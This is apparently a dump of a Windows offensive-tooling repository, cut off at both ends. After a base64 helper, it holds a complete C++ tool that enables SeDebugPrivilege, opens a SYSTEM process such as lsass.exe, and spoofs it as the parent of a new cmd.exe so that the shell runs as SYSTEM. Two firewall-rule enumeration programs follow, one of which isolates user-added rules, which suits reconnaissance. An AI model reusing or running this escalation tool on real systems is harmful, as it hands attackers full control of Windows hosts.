4); 73 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 74 | 75 | for (j = 0; (j < i + 1); j++) 76 | ret += base64_chars[char_array_4[j]]; 77 | 78 | while((i++ < 3)) 79 | ret += '='; 80 | 81 | } 82 | 83 | return ret; 84 | 85 | } 86 | 87 | std::string base64_decode(std::string const& encoded_string) { 88 | size_t in_len = encoded_string.size(); 89 | int i = 0; 90 | int j = 0; 91 | int in_ = 0; 92 | unsigned char char_array_4[4], char_array_3[3]; 93 | std::string ret; 94 | 95 | while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { 96 | char_array_4[i++] = encoded_string[in_]; in_++; 97 | if (i ==4) { 98 | for (i = 0; i <4; i++) 99 | char_array_4[i] = base64_chars.find(char_array_4[i]) & 0xff; 100 | 101 | char_array_3[0] = ( char_array_4[0] << 2 ) + ((char_array_4[1] & 0x30) >> 4); 102 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 103 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 104 | 105 | for (i = 0; (i < 3); i++) 106 | ret += char_array_3[i]; 107 | i = 0; 108 | } 109 | } 110 | 111 | if (i) { 112 | for (j = 0; j < i; j++) 113 | char_array_4[j] = base64_chars.find(char_array_4[j]) & 0xff; 114 | 115 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 116 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 117 | 118 | for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; 119 | } 120 | 121 | return ret; 122 | } 123 | -------------------------------------------------------------------------------- /提升system权限/becoming-system-via-parent.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | 6 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) { 7 | TOKEN_PRIVILEGES tp; 8 | LUID luid; 9 | TOKEN_PRIVILEGES tpPrevious; 10 | DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES); 11 | 12 | if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE; 13 | 14 | tp.PrivilegeCount = 1; 15 | tp.Privileges[0].Luid = luid; 16 | tp.Privileges[0].Attributes = 0; 17 | 18 | AdjustTokenPrivileges( 19 | hToken, 20 | FALSE, 21 | &tp, 22 | sizeof(TOKEN_PRIVILEGES), 23 | &tpPrevious, 24 | &cbPrevious 25 | ); 26 | 27 | if (GetLastError() != ERROR_SUCCESS) return FALSE; 28 | 29 | tpPrevious.PrivilegeCount = 1; 30 | tpPrevious.Privileges[0].Luid = luid; 31 | 32 | if (bEnablePrivilege) { 33 | tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED); 34 | } 35 | else { 36 | tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED & tpPrevious.Privileges[0].Attributes); 37 | } 38 | 39 | AdjustTokenPrivileges( 40 | hToken, 41 | FALSE, 42 | &tpPrevious, 43 | cbPrevious, 44 | NULL, 45 | NULL 46 | ); 47 | 48 | if (GetLastError() != ERROR_SUCCESS) return FALSE; 49 | 50 | return TRUE; 51 | } 52 | 53 | DWORD EnableDebug(void) { 54 | HANDLE hToken; 55 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) { 56 | if (GetLastError() == ERROR_NO_TOKEN) { 57 | if (!ImpersonateSelf(SecurityImpersonation)) 58 | return 0; 59 | 60 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) { 61 | printf("OpenThreadToken"); 62 | return 0; 63 | } 64 | } 65 | else { 66 | return 0; 67 | } 68 | } 69 | 70 | // enable SeDebugPrivilege 71 | if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE)) 72 | { 73 | printf("Error SetPrivilege"); 74 | 75 | // close token handle 76 | CloseHandle(hToken); 77 | 78 | // indicate failure 79 | return 0; 80 | } 81 | 82 | return 1; 83 | } 84 | 85 | DWORD GetProcessIdFromName(char *name) 86 | { 87 | HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 88 | if (hsnapshot == INVALID_HANDLE_VALUE) 89 | { 90 | printf("CreateToolhelp32Snapshot Error!\n"); 91 | return 0; 92 | } 93 | 94 | PROCESSENTRY32 pe; 95 | pe.dwSize = sizeof(PROCESSENTRY32); 96 | 97 | int flag = Process32First(hsnapshot, &pe); 98 | 99 | while (flag != 0) 100 | { 101 | if (strcmp(pe.szExeFile, name) == 0) 102 | { 103 | return pe.th32ProcessID; 104 | } 105 | flag = Process32Next(hsnapshot, &pe); 106 | } 107 | 108 | CloseHandle(hsnapshot); 109 | 110 | return 0; 111 | } 112 | 113 | int main(int argc, char **argv) { 114 | int pid; 115 | HANDLE pHandle = NULL; 116 | STARTUPINFOEXA si; 117 | PROCESS_INFORMATION pi; 118 | SIZE_T size; 119 | BOOL ret; 120 | 121 | printf("\n GetSystem via Parent Process, process must have system permissions.\n\n"); 122 | 123 | if (argc != 2) { 124 | printf("Usage: %s ProcessName (eg. %s lsass.exe)\n ", argv[0], argv[0]); 125 | return 1; 126 | } 127 | 128 | pid = GetProcessIdFromName(argv[1]); 129 | // Get the PID that we will use as our parent process 130 | //pid = atoi(argv[1]); 131 | 132 | // We need SeDebugPriv to open processes like lsass 133 | EnableDebug(); 134 | 135 | // Open the process which we will inherit the handle from 136 | if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) { 137 | printf("Error opening PID %d\n", pid); 138 | return 2; 139 | } 140 | 141 | // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute 142 | ZeroMemory(&si, sizeof(STARTUPINFOEXA)); 143 | 144 | InitializeProcThreadAttributeList(NULL, 1, 0, &size); 145 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( 146 | GetProcessHeap(), 147 | 0, 148 | size 149 | ); 150 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); 151 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL); 152 | 153 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 154 | 155 | // Finally, create the process 156 | ret = CreateProcessA( 157 | "C:\\Windows\\system32\\cmd.exe", 158 | NULL, 159 | NULL, 160 | NULL, 161 | true, 162 | EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 163 | NULL, 164 | NULL, 165 | reinterpret_cast(&si), 166 | &pi 167 | ); 168 | 169 | if (ret == false) { 170 | printf("Error creating new process (%d)\n", GetLastError()); 171 | return 3; 172 | } 173 | 174 | printf("Enjoy your new SYSTEM process\n"); 175 | 176 | return 0; 177 | } 178 | -------------------------------------------------------------------------------- /枚举防火墙出入站规则/EnumeratingFirewallRules.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | #pragma comment( lib, "ole32.lib" ) 12 | #pragma comment( lib, "oleaut32.lib" ) 13 | 14 | #define NET_FW_IP_PROTOCOL_TCP_NAME L"TCP" 15 | #define NET_FW_IP_PROTOCOL_UDP_NAME L"UDP" 16 | 17 | #define NET_FW_RULE_DIR_IN_NAME L"In" 18 | #define NET_FW_RULE_DIR_OUT_NAME L"Out" 19 | 20 | #define NET_FW_RULE_ACTION_BLOCK_NAME L"Block" 21 | #define NET_FW_RULE_ACTION_ALLOW_NAME L"Allow" 22 | 23 | #define NET_FW_RULE_ENABLE_IN_NAME L"TRUE" 24 | #define NET_FW_RULE_DISABLE_IN_NAME L"FALSE" 25 | 26 | 27 | // Forward declarations 28 | void DumpFWRulesInCollection(INetFwRule* FwRule); 29 | HRESULT WFCOMInitialize(INetFwPolicy2** ppNetFwPolicy2); 30 | 31 | 32 | int __cdecl main() 33 | { 34 | setlocale(LC_ALL, "chs"); 35 | HRESULT hrComInit = S_OK; 36 | HRESULT hr = S_OK; 37 | 38 | ULONG cFetched = 0; 39 | CComVariant var; 40 | 41 | IUnknown *pEnumerator; 42 | IEnumVARIANT* pVariant = NULL; 43 | 44 | INetFwPolicy2 *pNetFwPolicy2 = NULL; 45 | INetFwRules *pFwRules = NULL; 46 | INetFwRule *pFwRule = NULL; 47 | 48 | long fwRuleCount; 49 | 50 | // Initialize COM. 51 | hrComInit = CoInitializeEx( 52 | 0, 53 | COINIT_APARTMENTTHREADED 54 | ); 55 | 56 | // Ignore RPC_E_CHANGED_MODE; this just means that COM has already been 57 | // initialized with a different mode. Since we don't care what the mode is, 58 | // we'll just use the existing mode. 59 | if (hrComInit != RPC_E_CHANGED_MODE) 60 | { 61 | if (FAILED(hrComInit)) 62 | { 63 | wprintf(L"CoInitializeEx failed: 0x%08lx\n", hrComInit); 64 | goto Cleanup; 65 | } 66 | } 67 | 68 | // Retrieve INetFwPolicy2 69 | hr = WFCOMInitialize(&pNetFwPolicy2); 70 | if (FAILED(hr)) 71 | { 72 | goto Cleanup; 73 | } 74 | 75 | // Retrieve INetFwRules 76 | hr = pNetFwPolicy2->get_Rules(&pFwRules); 77 | if (FAILED(hr)) 78 | { 79 | wprintf(L"get_Rules failed: 0x%08lx\n", hr); 80 | goto Cleanup; 81 | } 82 | 83 | // Obtain the number of Firewall rules 84 | hr = pFwRules->get_Count(&fwRuleCount); 85 | if (FAILED(hr)) 86 | { 87 | wprintf(L"get_Count failed: 0x%08lx\n", hr); 88 | goto Cleanup; 89 | } 90 | 91 | wprintf(L"The number of rules in the Windows Firewall are %d\n", fwRuleCount); 92 | 93 | // Iterate through all of the rules in pFwRules 94 | pFwRules->get__NewEnum(&pEnumerator); 95 | 96 | if (pEnumerator) 97 | { 98 | hr = pEnumerator->QueryInterface(__uuidof(IEnumVARIANT), (void **) &pVariant); 99 | } 100 | 101 | while (SUCCEEDED(hr) &&hr != S_FALSE) 102 | { 103 | var.Clear(); 104 | hr = pVariant->Next(1, &var, &cFetched); 105 | 106 | if (S_FALSE != hr) 107 | { 108 | if (SUCCEEDED(hr)) 109 | { 110 | hr = var.ChangeType(VT_DISPATCH); 111 | } 112 | if (SUCCEEDED(hr)) 113 | { 114 | hr = (V_DISPATCH(&var))->QueryInterface(__uuidof(INetFwRule), reinterpret_cast(&pFwRule)); 115 | } 116 | 117 | if (SUCCEEDED(hr)) 118 | { 119 | // Output the properties of this rule 120 | DumpFWRulesInCollection(pFwRule); 121 | } 122 | } 123 | } 124 | 125 | Cleanup: 126 | 127 | // Release pFwRule 128 | if (pFwRule != NULL) 129 | { 130 | pFwRule->Release(); 131 | } 132 | 133 | // Release INetFwPolicy2 134 | if (pNetFwPolicy2 != NULL) 135 | { 136 | pNetFwPolicy2->Release(); 137 | } 138 | 139 | // Uninitialize COM. 140 | if (SUCCEEDED(hrComInit)) 141 | { 142 | CoUninitialize(); 143 | } 144 | 145 | return 0; 146 | } 147 | 148 | 149 | // Output properties of a Firewall rule 150 | void DumpFWRulesInCollection(INetFwRule* FwRule) 151 | { 152 | variant_t InterfaceArray; 153 | variant_t InterfaceString; 154 | 155 | VARIANT_BOOL bEnabled; 156 | BSTR bstrVal; 157 | 158 | long lVal = 0; 159 | long lProfileBitmask = 0; 160 | 161 | NET_FW_RULE_DIRECTION fwDirection; 162 | NET_FW_ACTION fwAction; 163 | 164 | struct ProfileMapElement 165 | { 166 | NET_FW_PROFILE_TYPE2 Id; 167 | LPCWSTR Name; 168 | }; 169 | 170 | ProfileMapElement ProfileMap[3]; 171 | ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN; 172 | ProfileMap[0].Name = L"Domain"; 173 | ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE; 174 | ProfileMap[1].Name = L"Private"; 175 | ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC; 176 | ProfileMap[2].Name = L"Public"; 177 | 178 | wprintf(L"---------------------------------------------\n"); 179 | 180 | if (SUCCEEDED(FwRule->get_Name(&bstrVal))) 181 | { 182 | wprintf(L"Name: %s\n", bstrVal); 183 | } 184 | 185 | if (SUCCEEDED(FwRule->get_Description(&bstrVal))) 186 | { 187 | wprintf(L"Description: %s\n", bstrVal); 188 | } 189 | 190 | if (SUCCEEDED(FwRule->get_ApplicationName(&bstrVal))) 191 | { 192 | wprintf(L"Application Name: %s\n", bstrVal); 193 | } 194 | 195 | if (SUCCEEDED(FwRule->get_ServiceName(&bstrVal))) 196 | { 197 | wprintf(L"Service Name: %s\n", bstrVal); 198 | } 199 | 200 | if (SUCCEEDED(FwRule->get_Protocol(&lVal))) 201 | { 202 | switch (lVal) 203 | { 204 | case NET_FW_IP_PROTOCOL_TCP: 205 | 206 | wprintf(L"IP Protocol: %s\n", NET_FW_IP_PROTOCOL_TCP_NAME); 207 | break; 208 | 209 | case NET_FW_IP_PROTOCOL_UDP: 210 | 211 | wprintf(L"IP Protocol: %s\n", NET_FW_IP_PROTOCOL_UDP_NAME); 212 | break; 213 | 214 | default: 215 | 216 | break; 217 | } 218 | 219 | if (lVal != NET_FW_IP_VERSION_V4 &&lVal != NET_FW_IP_VERSION_V6) 220 | { 221 | if (SUCCEEDED(FwRule->get_LocalPorts(&bstrVal))) 222 | { 223 | wprintf(L"Local Ports: %s\n", bstrVal); 224 | } 225 | 226 | if (SUCCEEDED(FwRule->get_RemotePorts(&bstrVal))) 227 | { 228 | wprintf(L"Remote Ports: %s\n", bstrVal); 229 | } 230 | } 231 | else 232 | { 233 | if (SUCCEEDED(FwRule->get_IcmpTypesAndCodes(&bstrVal))) 234 | { 235 | wprintf(L"ICMP TypeCode: %s\n", bstrVal); 236 | } 237 | } 238 | } 239 | 240 | if (SUCCEEDED(FwRule->get_LocalAddresses(&bstrVal))) 241 | { 242 | wprintf(L"LocalAddresses: %s\n", bstrVal); 243 | } 244 | 245 | if (SUCCEEDED(FwRule->get_RemoteAddresses(&bstrVal))) 246 | { 247 | wprintf(L"RemoteAddresses: %s\n", bstrVal); 248 | } 249 | 250 | if (SUCCEEDED(FwRule->get_Profiles(&lProfileBitmask))) 251 | { 252 | // The returned bitmask can have more than 1 bit set if multiple profiles 253 | // are active or current at the same time 254 | 255 | for (int i = 0; i<3; i++) 256 | { 257 | if (lProfileBitmask & ProfileMap[i].Id) 258 | { 259 | wprintf(L"Profile: %s\n", ProfileMap[i].Name); 260 | } 261 | } 262 | } 263 | 264 | if (SUCCEEDED(FwRule->get_Direction(&fwDirection))) 265 | { 266 | switch (fwDirection) 267 | { 268 | case NET_FW_RULE_DIR_IN: 269 | 270 | wprintf(L"Direction: %s\n", NET_FW_RULE_DIR_IN_NAME); 271 | break; 272 | 273 | case NET_FW_RULE_DIR_OUT: 274 | 275 | wprintf(L"Direction: %s\n", NET_FW_RULE_DIR_OUT_NAME); 276 | break; 277 | 278 | default: 279 | 280 | break; 281 | } 282 | } 283 | 284 | if (SUCCEEDED(FwRule->get_Action(&fwAction))) 285 | { 286 | switch (fwAction) 287 | { 288 | case NET_FW_ACTION_BLOCK: 289 | 290 | wprintf(L"Action: %s\n", NET_FW_RULE_ACTION_BLOCK_NAME); 291 | break; 292 | 293 | case NET_FW_ACTION_ALLOW: 294 | 295 | wprintf(L"Action: %s\n", NET_FW_RULE_ACTION_ALLOW_NAME); 296 | break; 297 | 298 | default: 299 | 300 | break; 301 | } 302 | } 303 | 304 | if (SUCCEEDED(FwRule->get_Interfaces(&InterfaceArray))) 305 | { 306 | if (InterfaceArray.vt != VT_EMPTY) 307 | { 308 | SAFEARRAY *pSa = NULL; 309 | 310 | pSa = InterfaceArray.parray; 311 | 312 | for (long index = pSa->rgsabound->lLbound; index < (long)pSa->rgsabound->cElements; index++) 313 | { 314 | SafeArrayGetElement(pSa, &index, &InterfaceString); 315 | wprintf(L"Interfaces: %s\n", (BSTR)InterfaceString.bstrVal); 316 | } 317 | } 318 | } 319 | 320 | if (SUCCEEDED(FwRule->get_InterfaceTypes(&bstrVal))) 321 | { 322 | wprintf(L"Interface Types: %s\n", bstrVal); 323 | } 324 | 325 | if (SUCCEEDED(FwRule->get_Enabled(&bEnabled))) 326 | { 327 | if (bEnabled) 328 | { 329 | wprintf(L"Enabled: %s\n", NET_FW_RULE_ENABLE_IN_NAME); 330 | } 331 | else 332 | { 333 | wprintf(L"Enabled: %s\n", NET_FW_RULE_DISABLE_IN_NAME); 334 | } 335 | } 336 | 337 | if (SUCCEEDED(FwRule->get_Grouping(&bstrVal))) 338 | { 339 | wprintf(L"Grouping: %s\n", bstrVal); 340 | } 341 | 342 | if (SUCCEEDED(FwRule->get_EdgeTraversal(&bEnabled))) 343 | { 344 | if (bEnabled) 345 | { 346 | wprintf(L"Edge Traversal: %s\n", NET_FW_RULE_ENABLE_IN_NAME); 347 | } 348 | else 349 | { 350 | wprintf(L"Edge Traversal: %s\n", NET_FW_RULE_DISABLE_IN_NAME); 351 | } 352 | } 353 | } 354 | 355 | 356 | // Instantiate INetFwPolicy2 357 | HRESULT WFCOMInitialize(INetFwPolicy2** ppNetFwPolicy2) 358 | { 359 | HRESULT hr = S_OK; 360 | 361 | hr = CoCreateInstance( 362 | __uuidof(NetFwPolicy2), 363 | NULL, 364 | CLSCTX_INPROC_SERVER, 365 | __uuidof(INetFwPolicy2), 366 | (void**)ppNetFwPolicy2); 367 | 368 | if (FAILED(hr)) 369 | { 370 | wprintf(L"CoCreateInstance for INetFwPolicy2 failed: 0x%08lx\n", hr); 371 | goto Cleanup; 372 | } 373 | 374 | Cleanup: 375 | return hr; 376 | } 377 | -------------------------------------------------------------------------------- /枚举防火墙出入站规则/EnumeratingFirewallRules_FilterUserRule.cpp: -------------------------------------------------------------------------------- 1 | // ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 2 | // 3 | 4 | #include "stdafx.h" 5 | /********************************************************************++ 6 | Copyright (C) Microsoft. All Rights Reserved. 7 | 8 | Abstract: 9 | This C++ file includes sample code for enumerating Windows Firewall 10 | rules using the Microsoft Windows Firewall APIs. 11 | 12 | ********************************************************************/ 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | using namespace std; 25 | 26 | #pragma comment(lib, "comsuppw.lib") 27 | 28 | #pragma comment( lib, "ole32.lib" ) 29 | #pragma comment( lib, "oleaut32.lib" ) 30 | 31 | #define NET_FW_IP_PROTOCOL_TCP_NAME L"TCP" 32 | #define NET_FW_IP_PROTOCOL_UDP_NAME L"UDP" 33 | 34 | #define NET_FW_RULE_DIR_IN_NAME L"In" 35 | #define NET_FW_RULE_DIR_OUT_NAME L"Out" 36 | 37 | #define NET_FW_RULE_ACTION_BLOCK_NAME L"Block" 38 | #define NET_FW_RULE_ACTION_ALLOW_NAME L"Allow" 39 | 40 | #define NET_FW_RULE_ENABLE_IN_NAME L"TRUE" 41 | #define NET_FW_RULE_DISABLE_IN_NAME L"FALSE" 42 | 43 | 44 | // Forward declarations 45 | void DumpFWRulesInCollection(INetFwRule* FwRule); 46 | HRESULT WFCOMInitialize(INetFwPolicy2** ppNetFwPolicy2); 47 | 48 | 49 | int __cdecl main() 50 | { 51 | setlocale(LC_ALL, "chs"); 52 | HRESULT hrComInit = S_OK; 53 | HRESULT hr = S_OK; 54 | 55 | ULONG cFetched = 0; 56 | CComVariant var; 57 | 58 | IUnknown *pEnumerator; 59 | IEnumVARIANT* pVariant = NULL; 60 | 61 | INetFwPolicy2 *pNetFwPolicy2 = NULL; 62 | INetFwRules *pFwRules = NULL; 63 | INetFwRule *pFwRule = NULL; 64 | 65 | long fwRuleCount; 66 | 67 | // Initialize COM. 68 | hrComInit = CoInitializeEx( 69 | 0, 70 | COINIT_APARTMENTTHREADED 71 | ); 72 | 73 | // Ignore RPC_E_CHANGED_MODE; this just means that COM has already been 74 | // initialized with a different mode. Since we don't care what the mode is, 75 | // we'll just use the existing mode. 76 | if (hrComInit != RPC_E_CHANGED_MODE) 77 | { 78 | if (FAILED(hrComInit)) 79 | { 80 | wprintf(L"CoInitializeEx failed: 0x%08lx\n", hrComInit); 81 | goto Cleanup; 82 | } 83 | } 84 | 85 | // Retrieve INetFwPolicy2 86 | hr = WFCOMInitialize(&pNetFwPolicy2); 87 | if (FAILED(hr)) 88 | { 89 | goto Cleanup; 90 | } 91 | 92 | // Retrieve INetFwRules 93 | hr = pNetFwPolicy2->get_Rules(&pFwRules); 94 | if (FAILED(hr)) 95 | { 96 | wprintf(L"get_Rules failed: 0x%08lx\n", hr); 97 | goto Cleanup; 98 | } 99 | 100 | // Obtain the number of Firewall rules 101 | hr = pFwRules->get_Count(&fwRuleCount); 102 | if (FAILED(hr)) 103 | { 104 | wprintf(L"get_Count failed: 0x%08lx\n", hr); 105 | goto Cleanup; 106 | } 107 | 108 | wprintf(L"The number of rules in the Windows Firewall are %d\n", fwRuleCount); 109 | 110 | // Iterate through all of the rules in pFwRules 111 | pFwRules->get__NewEnum(&pEnumerator); 112 | 113 | if (pEnumerator) 114 | { 115 | hr = pEnumerator->QueryInterface(__uuidof(IEnumVARIANT), (void **) &pVariant); 116 | } 117 | 118 | while (SUCCEEDED(hr) &&hr != S_FALSE) 119 | { 120 | var.Clear(); 121 | hr = pVariant->Next(1, &var, &cFetched); 122 | 123 | if (S_FALSE != hr) 124 | { 125 | if (SUCCEEDED(hr)) 126 | { 127 | hr = var.ChangeType(VT_DISPATCH); 128 | } 129 | if (SUCCEEDED(hr)) 130 | { 131 | hr = (V_DISPATCH(&var))->QueryInterface(__uuidof(INetFwRule), reinterpret_cast(&pFwRule)); 132 | } 133 | 134 | if (SUCCEEDED(hr)) 135 | { 136 | // Output the properties of this rule 137 | DumpFWRulesInCollection(pFwRule); 138 | } 139 | } 140 | } 141 | 142 | Cleanup: 143 | 144 | // Release pFwRule 145 | if (pFwRule != NULL) 146 | { 147 | pFwRule->Release(); 148 | } 149 | 150 | // Release INetFwPolicy2 151 | if (pNetFwPolicy2 != NULL) 152 | { 153 | pNetFwPolicy2->Release(); 154 | } 155 | 156 | // Uninitialize COM. 157 | if (SUCCEEDED(hrComInit)) 158 | { 159 | CoUninitialize(); 160 | } 161 | 162 | return 0; 163 | } 164 | 165 | 166 | // Output properties of a Firewall rule 167 | void DumpFWRulesInCollection(INetFwRule* FwRule) 168 | { 169 | variant_t InterfaceArray; 170 | variant_t InterfaceString; 171 | 172 | VARIANT_BOOL bEnabled; 173 | BSTR bstrVal; 174 | 175 | long lVal = 0; 176 | long lProfileBitmask = 0; 177 | 178 | NET_FW_RULE_DIRECTION fwDirection; 179 | NET_FW_ACTION fwAction; 180 | 181 | struct ProfileMapElement 182 | { 183 | NET_FW_PROFILE_TYPE2 Id; 184 | LPCWSTR Name; 185 | }; 186 | 187 | ProfileMapElement ProfileMap[3]; 188 | ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN; 189 | ProfileMap[0].Name = L"Domain"; 190 | ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE; 191 | ProfileMap[1].Name = L"Private"; 192 | ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC; 193 | ProfileMap[2].Name = L"Public"; 194 | 195 | //filter user's rule 196 | if (SUCCEEDED(FwRule->get_Grouping(&bstrVal))) 197 | { 198 | string Grouping; 199 | if (!bstrVal) 200 | { 201 | Grouping = "null"; 202 | } 203 | else 204 | { 205 | char* Char_bstrVal = _com_util::ConvertBSTRToString(bstrVal); 206 | Grouping = Char_bstrVal; 207 | } 208 | 209 | string StrFilter = ".dll,-"; 210 | string::size_type Idx = Grouping.find(StrFilter); 211 | if (Idx != string::npos) 212 | return; 213 | 214 | StrFilter = ".exe,-"; 215 | Idx = Grouping.find(StrFilter); 216 | if (Idx != string::npos) 217 | return; 218 | 219 | StrFilter = "@{Microsoft"; 220 | Idx = Grouping.find(StrFilter); 221 | if (Idx != string::npos) 222 | return; 223 | 224 | } 225 | 226 | 227 | wprintf(L"---------------------------------------------\n"); 228 | 229 | if (SUCCEEDED(FwRule->get_Name(&bstrVal))) 230 | { 231 | wprintf(L"Name: %s\n", bstrVal); 232 | } 233 | 234 | if (SUCCEEDED(FwRule->get_Description(&bstrVal))) 235 | { 236 | wprintf(L"Description: %s\n", bstrVal); 237 | } 238 | 239 | if (SUCCEEDED(FwRule->get_ApplicationName(&bstrVal))) 240 | { 241 | wprintf(L"Application Name: %s\n", bstrVal); 242 | } 243 | 244 | if (SUCCEEDED(FwRule->get_ServiceName(&bstrVal))) 245 | { 246 | wprintf(L"Service Name: %s\n", bstrVal); 247 | } 248 | 249 | if (SUCCEEDED(FwRule->get_Protocol(&lVal))) 250 | { 251 | switch (lVal) 252 | { 253 | case NET_FW_IP_PROTOCOL_TCP: 254 | 255 | wprintf(L"IP Protocol: %s\n", NET_FW_IP_PROTOCOL_TCP_NAME); 256 | break; 257 | 258 | case NET_FW_IP_PROTOCOL_UDP: 259 | 260 | wprintf(L"IP Protocol: %s\n", NET_FW_IP_PROTOCOL_UDP_NAME); 261 | break; 262 | 263 | default: 264 | 265 | break; 266 | } 267 | 268 | if (lVal != NET_FW_IP_VERSION_V4 &&lVal != NET_FW_IP_VERSION_V6) 269 | { 270 | if (SUCCEEDED(FwRule->get_LocalPorts(&bstrVal))) 271 | { 272 | wprintf(L"Local Ports: %s\n", bstrVal); 273 | } 274 | 275 | if (SUCCEEDED(FwRule->get_RemotePorts(&bstrVal))) 276 | { 277 | wprintf(L"Remote Ports: %s\n", bstrVal); 278 | } 279 | } 280 | else 281 | { 282 | if (SUCCEEDED(FwRule->get_IcmpTypesAndCodes(&bstrVal))) 283 | { 284 | wprintf(L"ICMP TypeCode: %s\n", bstrVal); 285 | } 286 | } 287 | } 288 | 289 | if (SUCCEEDED(FwRule->get_LocalAddresses(&bstrVal))) 290 | { 291 | wprintf(L"LocalAddresses: %s\n", bstrVal); 292 | } 293 | 294 | if (SUCCEEDED(FwRule->get_RemoteAddresses(&bstrVal))) 295 | { 296 | wprintf(L"RemoteAddresses: %s\n", bstrVal); 297 | } 298 | 299 | if (SUCCEEDED(FwRule->get_Profiles(&lProfileBitmask))) 300 | { 301 | // The returned bitmask can have more than 1 bit set if multiple profiles 302 | // are active or current at the same time 303 | 304 | for (int i = 0; i<3; i++) 305 | { 306 | if (lProfileBitmask & ProfileMap[i].Id) 307 | { 308 | wprintf(L"Profile: %s\n", ProfileMap[i].Name); 309 | } 310 | } 311 | } 312 | 313 | if (SUCCEEDED(FwRule->get_Direction(&fwDirection))) 314 | { 315 | switch (fwDirection) 316 | { 317 | case NET_FW_RULE_DIR_IN: 318 | 319 | wprintf(L"Direction: %s\n", NET_FW_RULE_DIR_IN_NAME); 320 | break; 321 | 322 | case NET_FW_RULE_DIR_OUT: 323 | 324 | wprintf(L"Direction: %s\n", NET_FW_RULE_DIR_OUT_NAME); 325 | break; 326 | 327 | default: 328 | 329 | break; 330 | } 331 | } 332 | 333 | if (SUCCEEDED(FwRule->get_Action(&fwAction))) 334 | { 335 | switch (fwAction) 336 | { 337 | case NET_FW_ACTION_BLOCK: 338 | 339 | wprintf(L"Action: %s\n", NET_FW_RULE_ACTION_BLOCK_NAME); 340 | break; 341 | 342 | case NET_FW_ACTION_ALLOW: 343 | 344 | wprintf(L"Action: %s\n", NET_FW_RULE_ACTION_ALLOW_NAME); 345 | break; 346 | 347 | default: 348 | 349 | break; 350 | } 351 | } 352 | 353 | if (SUCCEEDED(FwRule->get_Interfaces(&InterfaceArray))) 354 | { 355 | if (InterfaceArray.vt != VT_EMPTY) 356 | { 357 | SAFEARRAY *pSa = NULL; 358 | 359 | pSa = InterfaceArray.parray; 360 | 361 | for (long index = pSa->rgsabound->lLbound; index < (long)pSa->rgsabound->cElements; index++) 362 | { 363 | SafeArrayGetElement(pSa, &index, &InterfaceString); 364 | wprintf(L"Interfaces: %s\n", (BSTR)InterfaceString.bstrVal); 365 | } 366 | } 367 | } 368 | 369 | if (SUCCEEDED(FwRule->get_InterfaceTypes(&bstrVal))) 370 | { 371 | wprintf(L"Interface Types: %s\n", bstrVal); 372 | } 373 | 374 | if (SUCCEEDED(FwRule->get_Enabled(&bEnabled))) 375 | { 376 | if (bEnabled) 377 | { 378 | wprintf(L"Enabled: %s\n", NET_FW_RULE_ENABLE_IN_NAME); 379 | } 380 | else 381 | { 382 | wprintf(L"Enabled: %s\n", NET_FW_RULE_DISABLE_IN_NAME); 383 | } 384 | } 385 | 386 | if (SUCCEEDED(FwRule->get_Grouping(&bstrVal))) 387 | { 388 | wprintf(L"Grouping: %s\n", bstrVal); 389 | } 390 | 391 | if (SUCCEEDED(FwRule->get_EdgeTraversal(&bEnabled))) 392 | { 393 | if (bEnabled) 394 | { 395 | wprintf(L"Edge Traversal: %s\n", NET_FW_RULE_ENABLE_IN_NAME); 396 | } 397 | else 398 | { 399 | wprintf(L"Edge Traversal: %s\n", NET_FW_RULE_DISABLE_IN_NAME); 400 | } 401 | } 402 | } 403 | 404 | 405 | // Instantiate INetFwPolicy2 406 | HRESULT WFCOMInitialize(INetFwPolicy2** ppNetFwPolicy2) 407 | { 408 | HRESULT hr = S_OK; 409 | 410 | hr = CoCreateInstance( 411 | __uuidof(NetFwPolicy2), 412 | NULL, 413 | CLSCTX_INPROC_SERVER, 414 | __uuidof(INetFwPolicy2), 415 | (void**)ppNetFwPolicy2); 416 | 417 | if (FAILED(hr)) 418 | { 419 | wprintf(L"CoCreateInstance for INetFwPolicy2 